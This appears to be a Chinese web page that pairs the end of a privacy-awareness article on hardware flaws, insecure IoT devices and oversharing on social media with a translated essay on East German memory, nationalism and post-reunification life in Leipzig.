民族国家多年来一直使用供应链攻击在手机、计算机和所有类型的电子设备中植入后门。芯片级恶意软件可以更改操作系统（OS）而不会留下痕迹，就像在视频游戏中打开“上帝模式”一样。

这类间谍活动有一整个地下市场，其逻辑就像灰帽子向政府出售零日漏洞以获取巨额资金那样。这种事一直都在发生，人们只是不知道它的程度如何罢了。

- 《可怜正义没有钱》

如今已经在芯片组中发现了多个引人注目的漏洞，例如 Meltdown、Spectre和 ZombieLoad 等等，利用这些漏洞，攻击者就可以获得对系

统的root级访问权限。

可怕的是，其中一些芯片缺陷是无法修补的，这意味着它们将存在相当长的一段时间，直到最终被新硬件取代。

保护您的电子设备免受此类缺陷影响的唯一方法是定期检查制造商的网站，以获取需要应用于该设备的补丁程序更新。

否则设备可能会面临各种攻击，如果设备连接到互联网，则可以远程执行这些攻击。

另外，请谨慎购买某些类型的电子产品。大多数物联网（IoT）设备在安全性和隐私控制方面的设计都非常差。

- 物联网的危害《你家冰箱如何作为呈堂证供？》
- 在栏目中看到更多《关于智能[间谍]家居/城市》

购买之前需要考虑的因素包括数据应用、安全设计和安全硬件、以及制造过程中的透明度和可见性 —— 而不是制造商宣传的有多大的内存、几个摄像头、拍照效果多牛逼 ，他们只是想让你掏钱并转移你的注意力远离最重要的事。

采取对抗性心态避免受害

「图」

在现代社会中，几乎经常是温柔而正义的人不断成为狡猾的掠食者、骗子和罪犯所设置的陷阱的受害者。

并不是说要你放弃温柔正义，而是说，你需要将自己的精神思想和身体变成坚不可摧的堡垒。

走这条路永远不会太迟，但是无疑，你将需要迎接各种考验。

必须知道每个人都有缺陷，也就是弱点，这是坏人的主要目标。就像一只烫手的烧水壶，你要把它拿起来、控制住它，就需要抓住壶的把手 —— 目标人固有的弱点对于操纵者来说就是那个把手。

相反，如果你想要防御各种侵害，就需要让自己的“把手”不可见。中文里“小辫子”一词在此格外形象。

就像窃贼那样，网络掠食者会充分搜集并分析您的一切在线行为，并

观察可公开获得的关于你的每个细节，以确定他们是否可以利用您的任何漏洞。

由于公开的已经太多了，对于您隐藏的或不公开的内容，他们完全可以推断出大概。这就是为什么说每个人都必须时刻意识到自己放在互联网上的都是些什么 —— 这就是防御直觉。

我们在 “社交工程” 栏目中、开 “开源情报调查” 栏目中所演示的诸多追踪、胁迫、操纵和身份盗取的操作，都是为提醒您的防御直觉 —— 只有在您深刻理解恶意行为者的操作模式时，才能最有效地防御。

您必须做到隐藏那个烧水壶的把手 —— 您的小辫子，也就是我们强调的 “大清洗”，尽可能去除一切容易被恶意者利用的东西。

- 《如何躲避监视追踪？大清洗：反侦察的第一步》

似乎依旧有很多人不甚了解 **究竟什么东西是危险的** —— 了解这点是防御的关键。我们来举个例子：

一个人在社交网络发布了一张照片，显示为某个当日举行的会议/活动的现场，并随附 “今天天气真好，是和家人一起出行的好日子”。

大多数人会认为这样的信息 “不敏感”；但是人们没能通过恶意行为者的视角来观察它。

你没干过坏事我知道，正因此你可能感觉很难使用坏人的思考方式来检查自己的漏洞，但只有这样做才能真正有效地防御。

这需要练习。

现在我们就来试试看，通过上面这条内容你能知道什么？

- 此目标人正在全家外出中，所以TA家中很可能没有人；
- 迅速查找目标人的其他社交媒体平台账户，以搜寻此人可能的住址；
- 通过简单的搜索立刻能知道，目标人提及的会议/活动的召开和结束时间；
- 通过该活动的性质你能知道目标人的偏好；
- 通过照片中阴影的角度你能知道拍摄的大致时间，以对比发布时间判断同步程度；如果拍摄时间和发布时间之间间隔多小时，这将说明更多细节；
- 仔细看照片，其中有哪些特征：有电子设备吗？能看出品牌型

号吗？有徽标/胸牌吗？能否判断其他参与者的身份？胸牌是门禁卡吗？这意味着安全设施方面的信息；其中多数人穿的是什么样的衣服？这可以判断其阶层和品味偏好 …… 所有这一切都是实施社交工程攻击和黑客入侵的关键信息。
- 还可以有更多。

也许作为你，和家人一起出行参加活动是一件乐事，但是，对于攻击者来说，您的愉快假日已经变成了明确的攻击入口。

类似的状况几乎铺天盖地，这就是为什么我们要强调 —— 不要通过互联网讲述关于你自己和家人朋友的任何信息。是 **任何**。

- 最基本的《你不应该在社交媒体上说的话》

您需要防备的不只是警察和政府间谍，恶意行为者在社会上到处都是，他们能干出任何你可能想都想不到的事。因为他们整天都在琢磨这些东西。

只要恶意者能发现您的PII，例如 您的全名、卡号、出生日期、手机号和家庭住址，那么他们就能窃取您的身份，并以您的名义开放信用额度，劫持你的SIM，不要等钱没了时再表示惊讶。

人类最大的弱点就是总会下意识地认为最糟糕的事不会发生在自己身上，这是一种心理防御机制，是你的大脑在试图把问题简化从而避免紧张焦虑的自然能力。

但是，它可能很有危害性，正是它导致人们在看到他人的教训时将自己放在旁观者的角度上，错过了吸取教训的机会。也正因此，一模一样的恶行手段会不断重演，而且每次都能有效。

> 学校和真实生活之间的一个重要区别在于：学校先教你知识然后考试，生活则是先考试再教你知识。你不需要亲自被考糊了才能学到东西，要知道一直不断有人被考糊，他们的教训应该成为更多人的知识。

并不是说要你草木皆兵地生活，防御直觉指的是：您需要了解当前每个领域有可能发生哪些恶行，并随时为最糟糕的状况做好准备。

你准备得越好，最糟糕的状况就越不容易发生。

在这里看到有关防御直觉的更多介绍：

- 《构建技术直觉：生存在数字世界必备的本能》

—— 未完待续 ——

原文

柏林墙倒了吗？（2）：条顿式媚俗和莱比锡翻页 - iyouport

你应该了解的现实少数派报告

【 2020年6月5日存档】从与我交谈的人那里，我一直听到这个奇怪的词语—他们说，过去我们活在法西斯主义之下，然后活在共产主义之下，而现在，他们说，我们是活在民主“之下”。这不是一种怪异的谈论民主的方式吗？就好像它只不过是另一个你必须服从的体制？

如果您还没读过上篇，在这里看到《柏林墙倒了吗？（1）：五味杂陈的卡巴莱》。

20世纪80年代，事情通常发生在“学院派”；到了90年代，场所转到了U-2，这是附近一座灰色石板办公楼地下室里的迪斯科舞厅。

它的音乐来自慕尼黑，啤酒来自慕尼黑，迪斯科DJ来自慕尼黑，子弹机和干冰也是来自慕尼黑。

那个地方天花板很低，墙壁随着声音震动，节奏透过脚底传上来，你发现自己陷入了一种麻木状态。

女孩子们在大喇叭上跳着独舞，甩动、摇摆、推伸、甩动、摇摆、推伸…… 她们闭着眼睛，在声音的洞穴中独自舞动。男孩子们徘徊在弹球机之间，从一个电子游戏逛到另一个，眼睛瞅着女孩子们。

世界任何地方都有这样的迪斯科舞厅，但是，这里，这个低矮的地下室曾经是秘密警察的审讯室。

每个人都知道这件事，它并不是十分“秘密”的事。吧台后面的女孩子们会讲给你听，甚至指给你看，墙上还留有原来囚犯画的壁画。

多年来，这个组合难以抗拒：斯塔西的虐待狂魅力遇上慕尼黑迪斯科舞厅的色情狂魅力。

引入U-2 是以一笔代价打开了两个被禁闭的世界。但被禁的魅力已经完全消失，现在这里是一个迪斯科舞厅，跟其他地方没什么两样。酒吧的女孩在我耳边喊：“一切都很酷！” 节拍震颤地板，频闪灯将她干净白皙的脸庞变成了一张蝴蝶面具，舞动着，漂浮在空中。*The Cure – Live In Leipzig 1990*

> “Coming to terms with the past” does not imply a serious working through of the past, the breaking of its spell through an act of clear consciousness. It suggests, rather, wishing to turn the page and, if possible, wiping it from memory.”

在整个民主德国，斯塔西拥有50万情报人员。从前，放置在像这样的建筑物里的档案纸张有数以亿计；咖啡馆里的窃窃私语、公共汽车上的道听途说、断章取义的同事间闲聊 —— 这是一个索引细致的、收录全社会异议言论的图书馆。

告密的圈子变得如何宽泛，以至于任何人如果能重新找回公民勇气都是个奇迹。

但确实有些人做到了。而那些没有做到的人，现在，总是挥舞着手指做着令人厌倦的、自我辩护的同样手势：“那是我的世界。那是我知道的一切”。

什么能让人明白，一个审讯中心变成迪斯科舞厅的事实呢？这儿是不是应该搞个纪念馆或者博物馆取而代之？

音乐的声音如此喧闹，折磨着你已近中年的内心，充塞着内心每一个空虚的地方。

> “与过去妥协”，并不意味着对过去严肃的解决，不是通过一种清晰的、有意识的行为来打破魔咒。毋宁说，它希望翻过这一页，并且，如果有可能，从记忆中彻底将其清除。 —— Theodor Adorno 《与过去妥协意味着什么？》（1959）

问问你自己，那吧台里正调制鸡尾酒的女孩，或那头发锃亮、穿着贝纳通 “世界之彩” T恤的男孩，他们是否应该了解人们曾经在这里被殴打、被审讯的事实？摆出一副庄严的脸色吗？难道与强烈地渴望忘记所有过去相比，庄严是更为真实的 “与过去妥协”？

我不能问酒吧里坐在我旁边的小夫妻这样的问题，他们的脸在频闪灯下犹如一对舞动的唱盘。

怎么期望他们了解我说的东西呢？Erich Honecker 对他们而言已经是久远的历史。在他的政权倒台时，这些男孩女孩还很小。

我会听他们说："那不是我的问题。那不是我的过去"。

民族会战的记忆

「图」

它像一个巨大的、用烟熏成黑色的花岗岩搭成的条顿式火葬堆，切割得粗糙的石头向天空兀立，它们似乎要把某个强健武士的身躯奉献给火焰。

只是在这个纪念碑的最高处，应该放棺木的平台上，什么都没有，没有身躯要奉献给天空，只可以从这儿纵览城市的全景。城市则围绕它而发展成长。

它如此巨大，超过欧洲所有其他战争纪念物：一座怒目而视的威廉家族石堆，孑然独立，像家族里最执拗的成员站在莱比锡郊外的一个公园里。

就其恶劣的好战趣味，以及僵硬、粗野的纪念碑样式而言，它完全是一种尴尬。

雨水如丝，落在它厚重的表面，它似乎在嘲笑：来吧，试试将我焚毁，你会失败的！我太大了，我在这里太久了，我比你们都要长命……*Völkerschlachtdenkmal, The Monument to the Battle of the Nations*

德国从1871年统一后不久，开始纪念1813年的民族会战。当时，100万来自俄罗斯、奥地利、英国、法国、德国、和波兰的士兵激战一天，决定了欧洲的命运。

拿破仑在那一天最终战败，标志着他的帝国开始没落。那是第一次，来自德意志各公国的人们站在一起，作为德意志人而战斗，即使部分德意志人也站在拿破仑一方作战。这个战场仍被宣称为德意志民族的诞生地之一。

这个纪念碑正是为此而建的，1913年会战100周年纪念典礼上，德皇

威廉二世为它的落成揭幕。

我们可以想象一下，检阅台旗帜飘扬，帝国羽饰犹如丛林，胸甲闪闪发亮，紧绷的绑腿掖在长筒骑兵靴里，刀剑在腰间叮当作响。

冷酷的帝国面孔，脚跟咔嚓并拢致敬，戴头盔的人们互相轻轻点头致意 —— 这些牵线木偶们明白自己处于荣耀的顶峰，那种在他们头顶屹立的巨大石堆所象征的荣耀。

装饰纪念碑的雕塑家选择向威廉家族献媚，将他们刻画成条顿武士。在纪念碑底座的雕塑饰带上，有这样一个大师形象，是画成德意志武士的圣米迦勒（基督教大天使），头盔环绕面颊，眼睛凝望德意志早已确定的伟大未来。

环绕他周围扭动着自然世界的象征：狮子、老虎、龙，全都听从他的意志；还有一条超长的斑点蛇，嘶嘶着，微笑着。

这些动物充满了矛盾：它们是内心的魔鬼，还是邪恶的力量？似乎都有，因为他的目光既犹疑又果决，既痛苦不堪又坚定不移。

在圣米迦勒的左边，有一对挤眉弄眼的死神头颅，像斜眼的猴子一样在嘲笑他庄严的目光。

> “Besides awe and fear, there was the shiver of being in the presence of the new.”

20世纪30年代有一副著名的海报，元首装扮成一个日耳曼武士，穿着闪亮的胸甲，佩剑，骑在马上，高高举起一面血红的旗帜。我一直认为希特勒和戈培尔在运用德意志民族主义的人物和形象中，显示了某种创造力。

事实上，我还一直认为，这种艺术的创造性 —— 纳粹首席建筑师 Albert Speer 呈现在他的建筑物中，纳粹著名导演 Leni Riefenstahl 呈现在她的电影中 —— 有助于解释纳粹在人们心中激发的那种极端狂热。

除了敬畏和恐惧，还有身处全新呈现方式的战栗。

但作为政治艺术家，他们的创造比我曾经认为的要少。纳粹吸引力的全部色情用品都已经在这了，在莱比锡的那个纪念碑：同样的头盔、同样的蛇、同样的条顿式激情、同样滑稽的男性阳刚崇拜，同样对本性充满色情的迷惑。

它是创造生命的力量？还是淫荡的怨恨？全都在这儿了。希特勒不是政治艺术家，只是一个熟练的低俗品味鉴赏家。

没有不媚俗的民族主义艺术，没有不扮演真挚情感的爱国主义创造。为什么？也许一切非个人化的艺术都不可能是真正的真诚，而民族主义艺术从定义上就不可能是个人化的。

也可能，民族主义艺术不可能创新，它固着于可资利用的传统，或者，如果未能做到这一点，则固着于媚俗，在这里是条顿骑士的日耳曼黑森林。

希特勒对日耳曼历史的拿来主义，只限于利用19世纪中期一种庞杂的、狂热的伪善情绪。因此，正如德国哲学家 Adorno 提出的，原装货和抄袭货都意味着一种连自己也不能完全相信的民族主义形式。

这个纪念碑的峭拔巨大是一种怀疑的自白，希特勒的模仿也是。为了让人信服，两者都必须威吓。

这种对媚俗图腾过于夸大的模仿并没有跟着希特勒一起终结。

身着领巾和皮短裤的希特勒青年团曾手持火炬向纪念碑进军，并以向德意志帝国（Reich）致敬的仪式作为结束。

在图片中，你可以看到火炬在观赏湖面上闪闪发光，烟雾缭绕在火红的天空。

民主德国坚持它已经和法西斯及资本主义的类似过往彻底决裂。然而，自由德国青年团（**Free German Youth**）的领巾和短裤，叙述了一个不同的故事；被称为 “青年奉献” 的青年成人礼 —— 许多声音高呼对新国家的忠诚 —— 甚至复制了旧有的瓦格纳火炬仪式，天空中火红的烟雾怪诞地映照在观赏池中。*Free german youth marching before the reviewing stand during the parliament of free german youth in leipzig, june 1, 1952.*

“但你还期望其他什么呢？” Helmut Börner 说。他把眼镜往鼻梁上推了推，做了个表明自己既绝望又生气的手势。

“这是我们的世界。这是我们所知道的一切”。

Börner 先生是纪念碑隔壁博物馆的馆长。他会觉得民主德国复制希特勒青年团的领巾奇怪吗？他说不，他说是我搞错了：“我那个年代，在先锋队的时候，我戴的是蓝色的领巾。我父亲那个时候是黑色的领

巾”。

我说：“但是，它们还是同样的领巾”。

“啊”，Börner 先生说着，从我身边溜到玻璃柜后面。那里面有法国胸甲骑兵的制服，一些大炮用的霰弹、老式的火枪和一面鼓。

“这是旧瓶装新酒。旧瓶子还很完美。我的父母没有将它们丢掉，他们只是把白酒换成了红酒”，他就此想了一会儿，“是的，也许就是这样”。

“但是，新酒不会被旧瓶子污染吗？”

他透过厚厚的镜片眯眼看着我，捻着自己红色的短须，退回到博物馆更远处的另一个玻璃柜后面。然后他问我，是否曾经离开自己的家庭，尝试开始一个新的生活。

我说，没有。

“那么，如果你那样做了，你不会把旧的扔掉。你尝试开始一种新的生活，一种完全不同的生活，在各个方面都要比已经失败的旧生活更强”。

他指向一个玻璃柜里的一幅小水彩画。它描绘了一群莱比锡妇女在战斗结束后帮助把伤员抬上马车的情形。

“他们是法国人还是萨克森人、或是普鲁士人、瑞典人、奥地利人、或俄罗斯人，完全不重要。她们一视同仁地照看他们”，他平静地说，“当然，你不能拿今天他们能得到的那种看护来比较。他们成千上万地死亡，死于伤寒、神经和伤口感染，已经开始做截肢手术。那么可怕，我们无法想象”。

如果是在1813年度过他的余生，Börner 先生会更快乐些。那样会更简单，我会同情他。谁想要解释一个党员如何应对自己的世界的崩溃？

“我比共和国大一个月”，他用自己那种平静的、沉思的、间接的方式说着，“我生于1949年9月，所以我在这个时期，在这个国家，这个社会长大。那是我的世界”。

当局让他探查遥远过去的安全性，并认为只有他的展览强调了俄罗斯和德国军队在莱比锡铸就的历史友谊。这很容易做到，因为他们曾站

在同一边战斗。

有一些苏式制服的展览把这一友谊呈现于现在，但制服占据了太多的空间，他在**1988**年得到许可，把它们处理掉了。

他没有任何理由假装自己不是党的一员。他依旧希望历史能 “仁慈地批判” 民主德国，它比他自己周围正在形成的社会更为 “平等”。而且民主德国生存正在和平中。民主德国没有军队参与过战斗。

（编者注：如果您曾经读过《二手时间》，或曾经与中国的毛泽东崇拜者交流过，也许您对这种情绪不会陌生）

我问，甚至在捷克斯洛伐克也没有吗？1968年？没有，没有，他坚持说，也许有后勤支持，但从未有作战部队。

他希望历史能冷静地批判民主德国。但他知道，历史不会作出裁判。根本不会有清算。要发生的已经发生，民主德国政权的每一缕踪迹都被扫进了垃圾桶。所以10年后新的一代将很少相信它曾经存在过。

我自己在想，应该有一个民主德国的纪念馆，摆满特拉比和沃特伯格汽车（前民主德国著名品牌），从建筑物的山墙上拆下来的锤子和镰刀，体育英雄的图片，埃里希昂纳克的呢帽，一些斯塔西档案，隐形麦克风，重修的审讯室，一座原始大小的度假狩猎小屋。

Börner 先生笑了。他说，博物馆永远是成功者的存档、胜利者的圣殿。

但是，应该有关于错误的博物馆，我说，尤其是对于摧毁生命的错误。问题是，他说，谁会想参观这样一个博物馆呢？*East German Stasi files open to public online for first time …*（*2015*）

> “This effacement of the DDR, Börner knows, is very German. Every fifty years, the nation’s past is rewritten, and the lives that were lived under other conditions are suddenly stripped of all their sense. ”

Börner 先生知道，这种对民主德国的抹杀，正是德国式的。每隔**50**年，这个民族的过去就被重新书写，那些生活在其他状态下的生命突然被剥夺了他们所有的感觉。

这伴随着 Börner 先生的父亲，纳粹时期的一个学校老师，也伴随着 Börner 先生自己。他说，只有人类如此，因为人们想要压制过去。

“在私人生活中可能也是这样，什么事情错了，让你失望了，你想将它关闭，在下面划一道线，再也不想提起它”。确实非常人类化，但人们想知道，各民族是否允许它们自身像个人那样被遗忘。

当对党员的清洗 —— 像他这样的党员 —— 波及他在博物馆角落里满是灰尘的办公室时，Börner 先生被迫辞去工作。在新形势下，他觉得自己会活得更好，像他一直以来做的那样，通过只信任 “某人最亲密圈子里的一些人，人们可以依靠这个圈子。在这里人们会感到快乐”。

东德人不停地哀叹与资本主义一同到来的生活的私有化（这些天每个人都在为他们的前门买锁）。事实是，它只会增强在社会主义之下已经存在的生活的私有化。

Börner 先生也知道，相比发生在他父亲身上的遭遇，在他身上将要发生的事儿会温和得多。

1945年，成千上万的纳粹分子受到苏联战时军事法庭的审判和枪毙。他自己的父亲在一个苏联集中营中待了四年，认为自己足够幸运，得以活命。1989年革命以来，对过去的清洗没有牺牲一条性命。这很了不起，Börner 先生说，我们德国人并不总是重复错误的。

令他最困惑的是，为什么他曾让自己相信，为自己考虑的风险远远超过实际的风险？这是他最为后悔的。

“我当然可以更勇敢些，因为我们当然会害怕，会有恐惧，今天的结果证明这种恐惧是没有根据的。我们给自己施加某种形式的自我审查，那是不必要的”。

当他谈到这里时，映照在玻璃展柜上的脸庞突然显得悲痛和困惑，仿佛他无意中发现了当局将他轻易握于股掌的秘密。太晚了。

他带我走出博物馆，我们站在斜对面民族会战纪念碑的阴影下面。我问他，纪念碑是否并不代表某种德意志理念？

他笑了，“在民主德国，我们不谈论德意志。” 德意志是被禁止的话题。身份认同是与国家、与社会主义、与对伟大苏维埃母国的友爱联系在一起的；但与 Deutschland、人民、世代相传的记忆，没有关系。这些是反动资本主义的谎言，以沉思的条顿人的圣米迦勒为代表。

然后，Börner 先生开了个小小的玩笑，他说：“我很高兴民主德国没

有建造自己的民族会战纪念物，从未尝试用石头建立它的德意志理念”。

“为什么没有呢？”

“你能想象，如果有，它会是一个什么样子？” 他说，突然进入一种自由思想的明亮光芒中，“它应当是一个混凝土地堡”。他再次哈哈大笑，“是的，一个混凝土地堡，那是民主德国留在身后的一切”。*East German Nuclear Bunker Opens to Tourists*

生活于民主 “之下”？

「图」

> “There seemed only one thing to do: blow it all up and start over again. And that included the workers. They would have to relearn all the German virtues: good timekeeping, cleanliness, application, hard work. Moral of the story? States make nations; socialism deforms national character; regimes can ruin a people, even the Germans.”

过去，东德人在社会主义体制中的生活状况相对较好，给西德人提供了一个德意志自恋的机会。东德是最为成功的社会主义经济体，这个事实似乎证明，德意志的美德甚至胜过计划经济之类的布尔什维克理论。

换句话说，民族强于国家。

墙倒下了，西德的实业家们来了。他们参观东德的工厂，仔细查看机器，盘点工厂、建筑物、原材料，记录工人每小时的生产率，等等。

然后他们回到斯图加特、法兰克福和慕尼黑总部，面带焦虑。东部是一片灾区。

似乎只有一件事可以做：推倒一切，从头开始。其中也包括工人 —— 他们必须重新学习所有德国人的品质：守时、干净、实干、努力。

这个故事的道德意义是什么？国家制造民族；体制可以摧毁一个民族，即使是德国人。*Wendejahr – ein Land im Umbruch (die letzten Monate der DDR) 1990*

Karla Schindler 褐色的头发剪得很短，像男子一样的短发，露出时髦的环形耳环。50岁出头的她还记得自己进入莱比锡棉纺织厂的那天。

那是1953年9月1日。她的母亲在她之前进厂，她的女儿在她之后进厂。40年的工作，她能展示的是两张证书 —— 社会主义管理部门的致谢，证书装饰有民主德国的锤子和镰刀标志，以及最冷冰冰的东西 —— 科学量角器。

她还有持续多年的咳嗽顽疾，这是40年来在棉花机器上工作的结果：在棉丝的阴霾中呼吸，阴霾如此浓密，有时她甚至看不到相邻的工人。

她应该痛恨这个巨大的、摇摇欲坠的19世纪大杂院，这儿挤满了厂房和工棚，然而她围着它忙碌；跟叉车上的男人聊天，与守夜人开玩笑，跟机房的女孩子分享秘密。

“我为什么要恨这里？这曾是我的生活。现在还是”。Schindler 夫人是工厂在特洛伊汉德的代表，这个组织正在将东德的工业部门私有化或者关闭。

西德人想关闭工厂。Schindler 夫人正奋力抢救它。

“有一位犹太绅士，他的家族从前拥有这个工厂，他对它有兴趣”。

她满怀希望地说着，带我进入第一车间。那是一个旧的工业地狱，里面所有的东西 —— 墙壁、宝石蓝机器、塞满了棉花包的笼子，都覆盖着白色棉花丝。

空气中是黑褐色的棉丝和灰尘悬浮物，映照在污迹斑斑的窗户中透过来的微弱光线之下。一个老人正在把原棉送入一个分离器，它将原棉拉扯成丝。

Schindler 夫人把手伸进一个棉花包中：“从乌兹别克斯坦来的。苏联，没救了”。

那就是工厂存在的秘密：从苏联帝国的亚洲地区送来廉价、低质量的棉花，勤劳的德国人将其变成廉价的棉纱，供应给克拉科夫、布达佩斯、或莱比锡的贫穷家庭主妇。

这无法继续下去。Schindler 夫人知道这一点。没有优质的原材料和新的机器，这个老家伙将在几个月内失业。*Leipzig Cotton Spinning Factory*

> “We used to live under fascism, they say, then we lived under Communism, and now, they say, we live “under” democracy. Isn’t that an odd way to talk about democracy, as if it were just another regime you had to submit to?”

莱比锡纺纱厂是一座对某种劳工乌托邦、某种归属和同志友谊的纪念碑，不管社会主义有多少其他的错误，对于 Schindler 夫人这样的人们，这是真真切切的。她从未完全相信它的一切。

这儿曾有一种军事体制，要求各个队伍互相竞争，以完成生产指标。在通往纱纺车间的门口，我们看到一个陈旧的牌子，上面写着 “民族队伍之间的友谊”。

当然，意思是俄罗斯和德意志民族之间的永恒的社会主义友谊。“这个怎么样？” 我问她，她扬了下眉毛，似乎说，你在开玩笑吗？

纺纱车间里面，有两三个穿浅色透光连衣裙的女孩子，透出下面白色的内衣。她们在皮带上来回拍打，将已经满了的纱锭扔进齐腰高的红色箱子里，把新的纱锭装上去。

Schindler 夫人凑上去听她们抱怨一种新的亚麻线给她们带来的麻烦。她不必告诉她们，她们的工厂就如她们用牙齿咬断的线一样脆弱。

这个古老工厂的一间间厂房、一层层楼，现在都关闭了，机器盖上了塑料布，地板上灰尘堆积。

在楼上的办公室里，有散乱的盆栽植物、描绘保加利亚海滨游客欢乐的褪色海报。她告诉我，特洛伊汉德将她置于两难抉择的境地。他们会告诉她拯救这个工厂，作为交换，她必须解雇绝大多数员工。

不过，她坚持认为，情况正在改善。她可以挣德国马克，可以去西德旅行。“那里很迷人”，她充满渴望地说，仿佛是在谈论塔希提的岛屿，“那里的空气多么清新”。

我告诉她，从与我交谈的人那里，我一直听到这个奇怪的词语 —— 他们说，过去我们活在法西斯主义之下，然后活在共产主义之下，而现在，他们说，我们是活在民主 “之下”。

这不是一种怪异的谈论民主的方式吗？就好像它只不过是另一个你必须服从的体制？

她微笑着耸耸肩："从前，主任经常大肆鼓吹社会主义，这个队伍，那个队伍。而现在鼓吹的是自由市场经济。他完全转了180度"。但她对此并不感到惊讶或者愤慨："我们管这叫随波逐流"。

"而现在"，我说，"你正在学习自己游泳"。

"是的，现在我正在学习自己游泳"，她脸红了，"我现在在公开场合讲话。是的，我做到了。"

她参加过一个关于行业未来的座谈会，"我听到我们总理说，萨克森如何如何，纺织厂这个、纺织厂那个，我对自己说，应当让他知道工厂里实际的情况是什么样"。

于是在他演讲之后的间歇里，她喝了几杯白兰地，然后，会议恢复进行时，她站起来，说出了自己的想法。

"那是我第一次有足够的勇气演讲"，她看了看我，腼腆地笑了，再次耸耸肩，惊讶于自己身上发生的事。"现在我在每一个地方都讲话，即使是在市集广场上"。

至少，**Schindler** 夫人不是活在民主 "之下"，而是第一次活在 "其中"。*Woman working in the garden in the middle of the city, 1947, Krochsiedlung, Leipzig, Saxony, GDR, Germany*

做一个好德国人

「图」

从前，它叫 Dimitrov 学校。这儿有一座雕像，纪念这个1934年因国会纵火案而受到审判的保加利亚共产党人。学校操场上甚至曾经有过一个社会主义风格的 Dimitrov 雕像，但已经被推掉了。这个位置现在什么都没有。

革命之后，它改名为雷克拉姆学校，以在纳粹和民主德国时期都受到压制的自由思想出版社雷克拉姆为名。

我在地下室的学生房间里，这儿革命后被刷新过，一面墙上用英语写着："嘿，老师！别干涉孩子们！" 17岁的 Martin Moschek 正在告诉我从前的课程是什么样子的。

"比如说，在数学课上，我们要计算这样的问题：古巴被帝国主义者攻击，5个人驻扎在一个防空火箭站。我们要计算导弹的弹道抛物

线，它是否能击中帝国主义者。诸如此类”。想到这里，他摇了摇头，“那时候，我们没有注意到这有什么奇怪的”。

Martin 的父亲是一名路德教派牧师，所以 **Martin** 的成长有一半是处于当局的意识形态玻璃罐之中，另一半在其外。

回头来看，他不知道有多少同学相信他们被教授的东西，抑或是默默地在内心 “移民”。

对他而言，回头看确实难以相信学生们曾经如此顺从。他高兴地笑了，用他那种平静、正式、带点学究气的方式说：“学校没有学生，就不成其为学校，这一点得到更多认可了”。所以一个英国摇滚乐队的智慧被涂鸦在他身后的墙上。

（译者注：”嘿，老师！别干涉孩子们！” 这是英国著名摇滚乐队平克弗洛伊德的歌曲《墙上的另一块砖》中的歌词）*School Group in the Museum of Georgi Dimitrov. Note: Georgi Dimitrov (1882-1949), leader of the Bulgarian Communist Party (1944-49), general secretary of the Comintern, eminent representative of Bulgarian and international communist movement. Source: Personal archive.*

> As with Milošević of Serbia, Ceauçescu in Romania, or Husák of Czechoslovakia, Honecker in Germany turned to nationalism to mask the senility of his regime. Too late, too late. In November of 1989, the people decided that they, not the state, were the true nation.”

Martin 有一张光滑的、天使般的脸，卷发的轮廓像是在丢勒的画中。他柔和、深思熟虑的说话方式带有德国路德派的深沉内敛。我问他，从前，民族主义意味着什么。

“我以身为民主德国的公民而自豪，我以我的祖国而自豪。我们总是把祖国和民主德国联系在一起 —— 没有德意志”。

同样的东西，Börner 先生说得更多。对于在民主德国成长起来的每一个人，“德意志” 都是一个不可置信的幽灵，一个演讲中的形象，只在巴戈利亚啤酒馆复仇式的东德怒骂中、或民主德国电视台的话语中使用。

不论如何，1939年的旧德意志，那个扩展到远至今天的波兰、吞并了

捷克斯洛伐克的德意志，已经被英雄般的苏联军队所粉碎。它已经永远消失了，埋葬在盟军和苏联的联合占领之下。

一个社会主义国家将会创建一个社会主义自身的、工人运动组织及其符号 —— 尖锐的、冷漠的科学量角器 —— 相联系的德国。

然而，精英并没有放弃，如果将某些民族象征复活、翻新，对国家的忠诚会更为丰富。

20世纪70年代，宣传部组织了对德国传统英雄谨慎、有限的运用。那个反抗德国王公的路德被允许进入万神殿；而那个为德国王公叫嚣、要镇压1525年农民反抗的路德，被小心翼翼地从图景中抹去了。

军纪严明的腓特烈大帝赢得了官方的尊崇，因为当局对军纪比对社会主义更为看重。

与塞尔维亚的米洛舍维奇、罗马尼亚的齐奥塞斯库、以及捷克斯洛伐克的胡萨克一样，昂纳克的德国也转向了民族主义，以掩盖他的政权的衰朽。

太迟了，太迟了。1989年11月，人民做出了决定，是他们，而不是国家，才是真正的民族。

那么，一个17岁的东德人如何理解现在的德意志民族概念呢？

Martin 思考了很长时间，然后静悄悄地说："如果现在你说你是一个民族主义者，那么很清楚 —— 至少对于我是这样 —— 你是在说，你为你的国家而骄傲。就其自身而言，并不是一件坏事。问题在于，它并不会就此止步。它走得如此之远，以至于这里有些人说，统一尚未完成 —— 波兰的东部领土和苏台德区还在等着。那像是敲响了我体内的警钟"。

他又思考了一会，然后说："全都可以归结为暴力。如果一个人说他为德国自豪，不带暴力地劝说我，那还好。不幸的是，现在在德国，这很少见"。*this was the church in which Martin Luther famously debated the merits of the Reformation and later preached in. The St. Thomas Church was also where Bach worked as the music director for 27 years and where Wagner learned to play piano.*

黄昏，Martin 和我正穿过架在莱比锡郊区一条运河上的一座狭窄步行桥。我忽然注意到，在桥上有黑人从我们身边经过。北非人、巴基斯坦人、索马里人，一对对的，手里拎着塑料购物袋，夹克的领子竖起

以抵挡风寒。

他们是我在莱比锡见到的第一批非白人面孔。像东欧大部分地方一样，东德是白人占绝对多数。

从东德的角度来看，在统一带来的所有惊奇中，最让人惊讶的是种族。法兰克福这样的城市有三分之一的人在国外出生。在每一个人群中，都会有一片这样的面孔的海洋。

在莱比锡，他们是新奇的、陌生的、异类的。他们在这座桥上，因为那是回家的路，而他们的家是一个提供庇护的旅店、一群活动房屋，设置在细铁丝栅栏后面的砂石地上。紧邻柏林至莱比锡的高速公路。

我们用法语和一些年轻的阿尔及利亚人交谈。他们走遍了欧洲，寻找工作，他们已经申请在这里避难，正在等候处理。

但这是场痛苦的等待。他们说那些活动房又冷又透风，晚上他们躺在铺位上，抽着雪茄烟，等待纳粹分子的攻击。

Martin 点头同意。他们不是在夸大其词。两个星期前，光头党第一次在桥上出现，向旅店走去的时候，他和一个学校的朋友正在这里。

光头党的人带有刀子和棒球球棍。桥的另一边，警察坐在一辆大众的巴士里面，并没有阻止他们。

因此 Martin 和朋友试图阻止这些光头党穿过桥梁。两个文质彬彬的少年尽了最大的努力，他们没有想过带上武器。没有任何想要打架的意思。他们想，只要勇敢地站出来，就可以把一群光头党打发走。

Martin 悲哀地笑了笑，像是在抚摸一个旧的伤疤："我们被拳打脚踢，他们试图把我们扔到运河里"。

